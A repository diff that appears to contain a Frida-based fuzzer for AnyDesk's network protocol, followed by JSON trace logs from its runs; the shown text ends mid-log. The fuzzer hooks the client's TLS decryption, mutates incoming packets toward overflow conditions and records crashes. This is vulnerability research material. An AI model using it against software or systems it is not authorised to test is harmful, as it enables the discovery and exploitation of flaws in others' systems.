|
stack: Thread.backtrace(this.context, Backtracer.ACCURATE)
|
||||||
|
.map(DebugSymbol.fromAddress).join('\n'),
|
||||||
|
timestamp: Date.now()
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
send({type: 'status', msg: 'Crash detection hooks installed'});
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// Main
|
||||||
|
// ============================================================
|
||||||
|
send({type: 'status', msg: `Fuzzer starting (mode: ${FUZZ_MODE}, intensity: ${INTENSITY})`});
|
||||||
|
send({type: 'status', msg: `Skipping first ${SKIP_FIRST_N} packets (handshake protection)`});
|
||||||
|
|
||||||
|
setupCrashDetection();
|
||||||
|
|
||||||
|
let hooked = hookDecrypt();
|
||||||
|
if (!hooked) hooked = hookSSLRead();
|
||||||
|
if (!hooked) {
|
||||||
|
send({type: 'status', msg: 'WARNING: No TLS hooks available. Falling back to raw socket (unstable).'});
|
||||||
|
hookRawRecv();
|
||||||
|
}
|
||||||
|
|
||||||
|
send({type: 'status', msg: 'Fuzzer active. Make sure attacker screen is visible / moving...'});
|
||||||
|
send({type: 'ready'});
|
||||||
|
|
||||||
|
// Periodic stats
|
||||||
|
setInterval(function() {
|
||||||
|
send({
|
||||||
|
type: 'stats',
|
||||||
|
packets: packetCount,
|
||||||
|
mutations: mutationCount,
|
||||||
|
crashDetected: crashDetected,
|
||||||
|
timestamp: Date.now()
|
||||||
|
});
|
||||||
|
}, 5000);
|
||||||
|
""";
|
||||||
|
|
||||||
|
|
||||||
|
def find_anydesk_pid():
|
||||||
|
import subprocess
|
||||||
|
try:
|
||||||
|
output = subprocess.check_output(
|
||||||
|
['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'],
|
||||||
|
text=True, stderr=subprocess.DEVNULL
|
||||||
|
)
|
||||||
|
for line in output.strip().split('\n'):
|
||||||
|
if 'AnyDesk' in line:
|
||||||
|
parts = line.strip().strip('"').split('","')
|
||||||
|
if len(parts) >= 2:
|
||||||
|
return int(parts[1].strip('"'))
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
class FuzzerState:
|
||||||
|
def __init__(self):
|
||||||
|
self.ready = False
|
||||||
|
self.mutations = 0
|
||||||
|
self.packets = 0
|
||||||
|
self.crashes = []
|
||||||
|
self.exceptions = []
|
||||||
|
self.start_time = time.time()
|
||||||
|
|
||||||
|
def on_message(self, message, data):
|
||||||
|
if message['type'] == 'send':
|
||||||
|
payload = message['payload']
|
||||||
|
msg_type = payload.get('type', '')
|
||||||
|
|
||||||
|
if msg_type == 'status':
|
||||||
|
print(f" [*] {payload['msg']}")
|
||||||
|
elif msg_type == 'ready':
|
||||||
|
self.ready = True
|
||||||
|
elif msg_type == 'mutation':
|
||||||
|
self.mutations = payload.get('totalMutations', self.mutations + 1)
|
||||||
|
print(f" [FUZZ #{self.mutations}] pkt#{payload['seq']} "
|
||||||
|
f"{payload['size']}b {payload['strategy']}: {payload['desc']}")
|
||||||
|
elif msg_type == 'stats':
|
||||||
|
elapsed = time.time() - self.start_time
|
||||||
|
self.packets = payload['packets']
|
||||||
|
self.mutations = payload['mutations']
|
||||||
|
rate = self.mutations / elapsed if elapsed > 0 else 0
|
||||||
|
print(f" [STATS] {self.packets} pkts, {self.mutations} mutations "
|
||||||
|
f"({rate:.1f}/s), {len(self.crashes)} crashes, {len(self.exceptions)} exceptions")
|
||||||
|
elif msg_type == 'crash':
|
||||||
|
self.crashes.append(payload)
|
||||||
|
print(f"\n {'!'*60}")
|
||||||
|
print(f" [CRASH] Exception 0x{payload['code']} at {payload['address']}")
|
||||||
|
print(f" [CRASH] After {payload['totalPackets']} packets, {payload['totalMutations']} mutations")
|
||||||
|
print(f" {'!'*60}\n")
|
||||||
|
elif msg_type == 'exception':
|
||||||
|
self.exceptions.append(payload)
|
||||||
|
print(f"\n [EXCEPTION] {payload['codeName']} (0x{payload['code']})")
|
||||||
|
print(f" After {payload['totalPackets']} packets, {payload['totalMutations']} mutations")
|
||||||
|
if payload.get('stack'):
|
||||||
|
for frame in payload['stack'].split('\n')[:5]:
|
||||||
|
print(f" {frame}")
|
||||||
|
print()
|
||||||
|
elif msg_type == 'error':
|
||||||
|
print(f" [!] {payload['msg']}")
|
||||||
|
elif message['type'] == 'error':
|
||||||
|
print(f" [!] FRIDA ERROR: {message['description']}")
|
||||||
|
|
||||||
|
def save_results(self, path):
|
||||||
|
results = {
|
||||||
|
'duration': time.time() - self.start_time,
|
||||||
|
'total_packets': self.packets,
|
||||||
|
'total_mutations': self.mutations,
|
||||||
|
'crashes': self.crashes,
|
||||||
|
'exceptions': self.exceptions
|
||||||
|
}
|
||||||
|
with open(path, 'w') as f:
|
||||||
|
json.dump(results, f, indent=2)
|
||||||
|
print(f"[+] Results saved to {path}")
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description='AnyDesk Blind Protocol Fuzzer')
|
||||||
|
parser.add_argument('--mode', choices=['random', 'dimensions', 'overflow', 'all'],
|
||||||
|
default='all', help='Mutation strategy')
|
||||||
|
parser.add_argument('--intensity', choices=['low', 'medium', 'high', 'max'],
|
||||||
|
default='medium', help='Mutation probability per packet')
|
||||||
|
parser.add_argument('--skip', type=int, default=50,
|
||||||
|
help='Skip first N packets (handshake protection)')
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
intensity_map = {'low': 0.05, 'medium': 0.15, 'high': 0.4, 'max': 0.9}
|
||||||
|
intensity = intensity_map[args.intensity]
|
||||||
|
|
||||||
|
print("=" * 60)
|
||||||
|
print(" AnyDesk Blind Protocol Fuzzer")
|
||||||
|
print("=" * 60)
|
||||||
|
print(f" Mode: {args.mode}")
|
||||||
|
print(f" Intensity: {args.intensity} ({intensity*100:.0f}% of packets)")
|
||||||
|
print(f" Skip first: {args.skip} packets")
|
||||||
|
print()
|
||||||
|
|
||||||
|
pid = find_anydesk_pid()
|
||||||
|
if not pid:
|
||||||
|
print("[!] AnyDesk.exe not found.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print(f"[+] Found AnyDesk.exe (PID: {pid})")
|
||||||
|
|
||||||
|
state = FuzzerState()
|
||||||
|
|
||||||
|
try:
|
||||||
|
session = frida.attach(pid)
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Frida attach failed: {e}")
|
||||||
|
print("[!] Run as Administrator.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
agent_code = FUZZER_AGENT.replace('%FUZZ_MODE%', args.mode)
|
||||||
|
agent_code = agent_code.replace('%INTENSITY%', str(intensity))
|
||||||
|
agent_code = agent_code.replace('%SKIP_FIRST_N%', str(args.skip))
|
||||||
|
|
||||||
|
script = session.create_script(agent_code, runtime='v8')
|
||||||
|
script.on('message', state.on_message)
|
||||||
|
script.load()
|
||||||
|
|
||||||
|
for _ in range(100):
|
||||||
|
if state.ready:
|
||||||
|
break
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
print(f"\n{'=' * 60}")
|
||||||
|
print(" FUZZING — move mouse on attacker screen to generate frames")
|
||||||
|
print(" Press Ctrl+C to stop and save results")
|
||||||
|
print(f"{'=' * 60}\n")
|
||||||
|
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
time.sleep(0.1)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print("\n\n[+] Stopping fuzzer...")
|
||||||
|
|
||||||
|
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
|
||||||
|
state.save_results(f"fuzz_results_{timestamp}.json")
|
||||||
|
|
||||||
|
if state.crashes:
|
||||||
|
print(f"\n[!!!] {len(state.crashes)} CRASHES DETECTED — review results file")
|
||||||
|
if state.exceptions:
|
||||||
|
print(f"[!!!] {len(state.exceptions)} EXCEPTIONS DETECTED — review results file")
|
||||||
|
|
||||||
|
session.detach()
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,4 @@
|
|||||||
|
{
|
||||||
|
"duration": 42.555851221084595,
|
||||||
|
"events": []
|
||||||
|
}
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
{
|
||||||
|
"duration": 35.574270486831665,
|
||||||
|
"events": []
|
||||||
|
}
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
{
|
||||||
|
"dur": 45.991546869277954,
|
||||||
|
"events": []
|
||||||
|
}
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
{
|
||||||
|
"dur": 8.54698896408081,
|
||||||
|
"events": []
|
||||||
|
}
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
{
|
||||||
|
"dur": 33.388368129730225,
|
||||||
|
"events": [
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 125,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 21:57:31.702 front 18648 5788 "
|
||||||
|
],
|
||||||
|
"ts": 1773784651702
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 146,
|
||||||
|
"tags": [
|
||||||
|
"STR:warning 2026-03-17 21:57:31.702 front 18648 5788 "
|
||||||
|
],
|
||||||
|
"ts": 1773784651702
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "bmp",
|
||||||
|
"op": "Compat",
|
||||||
|
"w": 160,
|
||||||
|
"h": 28,
|
||||||
|
"bpp": 0,
|
||||||
|
"alloc": 0,
|
||||||
|
"ts": 1773784655207
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "bmp",
|
||||||
|
"op": "Compat",
|
||||||
|
"w": 160,
|
||||||
|
"h": 28,
|
||||||
|
"bpp": 0,
|
||||||
|
"alloc": 0,
|
||||||
|
"ts": 1773784659137
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
{
|
||||||
|
"dur": 160.77614212036133,
|
||||||
|
"events": [
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 125,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 21:59:56.150 front 18648 19352 "
|
||||||
|
],
|
||||||
|
"ts": 1773784796151
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 146,
|
||||||
|
"tags": [
|
||||||
|
"STR:warning 2026-03-17 21:59:56.151 front 18648 19352 "
|
||||||
|
],
|
||||||
|
"ts": 1773784796151
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "bmp",
|
||||||
|
"op": "Compat",
|
||||||
|
"w": 160,
|
||||||
|
"h": 28,
|
||||||
|
"bpp": 0,
|
||||||
|
"alloc": 0,
|
||||||
|
"ts": 1773784803588
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "bmp",
|
||||||
|
"op": "Compat",
|
||||||
|
"w": 160,
|
||||||
|
"h": 28,
|
||||||
|
"bpp": 0,
|
||||||
|
"alloc": 0,
|
||||||
|
"ts": 1773784807546
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,873 @@
|
|||||||
|
{
|
||||||
|
"dur": 32.31355547904968,
|
||||||
|
"events": [
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "R",
|
||||||
|
"sz": 5,
|
||||||
|
"n": 1,
|
||||||
|
"ts": 1773785114886,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "R",
|
||||||
|
"sz": 75,
|
||||||
|
"n": 2,
|
||||||
|
"ts": 1773785114886,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 142,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.886 lsvc 18852 2452 11 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114886,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 118,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.886 lsvc 18852 2452 2 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114886,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 156,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.887 lsvc 18852 2452 2 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114887,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 128,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.887 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114887,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 125,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.887 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114887,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 143,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.887 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114887,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 120,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.887 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114887,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 131,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.889 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114889,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 131,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.889 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114889,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 125,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.889 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114889,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 129,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.889 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114889,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "S",
|
||||||
|
"sz": 41,
|
||||||
|
"n": 1,
|
||||||
|
"ts": 1773785114889,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "R",
|
||||||
|
"sz": 5,
|
||||||
|
"n": 3,
|
||||||
|
"ts": 1773785114936,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "R",
|
||||||
|
"sz": 149,
|
||||||
|
"n": 4,
|
||||||
|
"ts": 1773785114936,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 141,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.937 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114937,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 153,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.937 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114937,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 170,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.937 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114937,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 129,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.937 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114937,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 139,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.937 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114937,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 117,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.937 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114937,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 116,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.944 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114944,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 157,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.944 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114944,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 134,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114945,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 150,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114945,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 132,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114945,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 130,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114945,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 151,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114945,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 133,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114945,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 133,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114945,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 146,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114945,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 155,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114946,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 122,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.946 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114946,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 133,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.946 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114946,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 125,
|
||||||
|
"tags": [
|
||||||
|
"STR:warning 2026-03-17 22:05:14.946 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114946,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 130,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.946 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114946,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 125,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.946 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114946,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "S",
|
||||||
|
"sz": 109,
|
||||||
|
"n": 2,
|
||||||
|
"ts": 1773785114947,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "S",
|
||||||
|
"sz": 37,
|
||||||
|
"n": 3,
|
||||||
|
"ts": 1773785114947,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "R",
|
||||||
|
"sz": 5,
|
||||||
|
"n": 5,
|
||||||
|
"ts": 1773785114962,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "R",
|
||||||
|
"sz": 22,
|
||||||
|
"n": 6,
|
||||||
|
"ts": 1773785114962,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 127,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.962 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114962,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 122,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.962 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114962,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "R",
|
||||||
|
"sz": 5,
|
||||||
|
"n": 7,
|
||||||
|
"ts": 1773785114976,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "R",
|
||||||
|
"sz": 22,
|
||||||
|
"n": 8,
|
||||||
|
"ts": 1773785114976,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 130,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.976 lsvc 18852 2452 113 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114976,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "S",
|
||||||
|
"sz": 27,
|
||||||
|
"n": 4,
|
||||||
|
"ts": 1773785114977,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "R",
|
||||||
|
"sz": 5,
|
||||||
|
"n": 9,
|
||||||
|
"ts": 1773785114977,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "R",
|
||||||
|
"sz": 7854,
|
||||||
|
"n": 10,
|
||||||
|
"ts": 1773785114977,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 124,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.986 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114986,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 170,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.999 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114999,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 167,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.999 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114999,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 131,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:14.999 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785114999,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 153,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:15.076 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785115076,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 136,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:15.076 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785115076,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 140,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:15.076 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785115076,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 146,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:15.076 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785115076,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 225,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:15.077 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785115077,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 147,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:15.077 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785115077,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "file",
|
||||||
|
"op": "Create",
|
||||||
|
"path": "C:\\Users\\Mes\\Downloads\\AnyDesk.exe",
|
||||||
|
"w": false,
|
||||||
|
"c": false,
|
||||||
|
"fl": [],
|
||||||
|
"ts": 1773785115081,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 131,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:15.084 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785115084,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 117,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:15.084 lsvc 18852 2452 112 "
|
||||||
|
],
